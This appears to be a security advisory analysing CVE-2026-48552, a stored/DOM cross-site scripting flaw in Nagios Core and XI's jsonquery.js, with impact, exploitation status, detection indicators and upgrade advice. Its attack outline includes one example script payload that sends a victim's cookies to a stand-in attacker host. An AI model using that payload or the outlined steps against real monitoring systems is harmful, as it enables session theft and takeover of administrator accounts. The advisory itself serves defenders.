CVE-2026-48552: 
Nagios vulnerability analysis and mitigation

CVE-2026-48552 is a DOM-based cross-site scripting (XSS) vulnerability in Nagios Core and Nagios XI, specifically within the jsonquery.js file. Unencoded JSON string values reflected from stored fields are inserted into the DOM without sanitization, enabling attackers to execute arbitrary JavaScript in a victim's browser. Affected versions include Nagios Core before 4.5.14 and Nagios XI before 2026R1.7. The vulnerability was published on August 12, 2026, and carries a CVSS v3.1 score of 5.4 (Medium) and a CVSS v4.0 score of 5.1 (Medium) (GitHub Advisory, Feedly).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists in jsonquery.js, where JSON string values sourced from stored fields are reflected into the DOM without proper HTML encoding or sanitization, constituting a stored/DOM-based XSS pattern (CAPEC-588). Exploitation requires the attacker to be authenticated (low privileges) and to induce a victim user to view a crafted page or link, at which point the malicious JavaScript executes in the victim's browser context. The fix was introduced in Nagios Core 4.5.14, credited to researcher Zach Hanley of Horizon3.ai (Nagios Changelog, GitHub Advisory).

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the victim's browser, enabling session token theft, unauthorized actions performed on behalf of the victim, and modification of page content within the Nagios web interface. Because Nagios Core and XI are typically used for infrastructure monitoring, a compromised administrator session could expose sensitive monitoring data, host configurations, and credentials stored within the platform. Availability is not directly impacted, but confidentiality and integrity of the subsequent (browser) system are at low risk (GitHub Advisory, Feedly).

There is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation as of the disclosure date. The NVD SSVC assessment classifies exploitation as "none" and the attack as non-automatable, as it requires user interaction. The EPSS score is approximately 0.165% (6th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, Feedly).

1. Reconnaissance: Identify Nagios Core (< 4.5.14) or Nagios XI (< 2026R1.7) instances accessible via the network, using tools like Shodan or direct version enumeration from the Nagios web interface.
2. Authenticate: Obtain low-privileged authenticated access to the Nagios web interface (e.g., a standard monitoring user account).
3. Inject malicious payload: Store a crafted value containing an unsanitized JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a field that is subsequently read and rendered by jsonquery.js.
4. Deliver the attack: Craft a link or page that causes the victim (e.g., a Nagios administrator) to load the affected view where jsonquery.js processes and inserts the stored malicious JSON value into the DOM.
5. Execute arbitrary JavaScript: When the victim loads the page, the injected script executes in their browser context, enabling session token theft, credential harvesting, or performing privileged actions on behalf of the victim within the Nagios interface (GitHub Advisory, Nagios Changelog).

• Network: Unexpected outbound HTTP requests from a victim's browser to external domains shortly after accessing Nagios web pages (potential session token exfiltration).
• Logs: Nagios web server access logs showing requests to pages that invoke jsonquery.js with unusual or encoded parameter values; repeated access to jsonquery.html or related endpoints from multiple user accounts.
• Browser/Application: Unexpected JavaScript errors or redirects occurring when authenticated users access Nagios status or query pages; anomalous actions (e.g., configuration changes, acknowledgements) in Nagios audit logs not initiated by the apparent user.
• File System: Unexpected modifications to stored fields (e.g., host/service descriptions, custom variables) containing HTML or JavaScript tags, which could indicate payload staging (GitHub Advisory).

Upgrade Nagios Core to version 4.5.14 or later, and Nagios XI to version 2026R1.7 or later, which include fixes for the jsonquery.js vulnerability. As a compensating control, implement a strict Content Security Policy (CSP) header on the Nagios web interface to restrict inline script execution. Restrict access to the Nagios web interface to trusted internal networks where possible, and educate users about phishing and social engineering tactics that could be used to deliver malicious links (Nagios Changelog, GitHub Advisory).

The vulnerability was discovered and reported by Zach Hanley of Horizon3.ai, and the fix was credited to Emmett Kapsner of the Nagios development team in the official changelog. No significant broader media coverage or notable community commentary has been identified beyond standard vulnerability database entries (Nagios Changelog).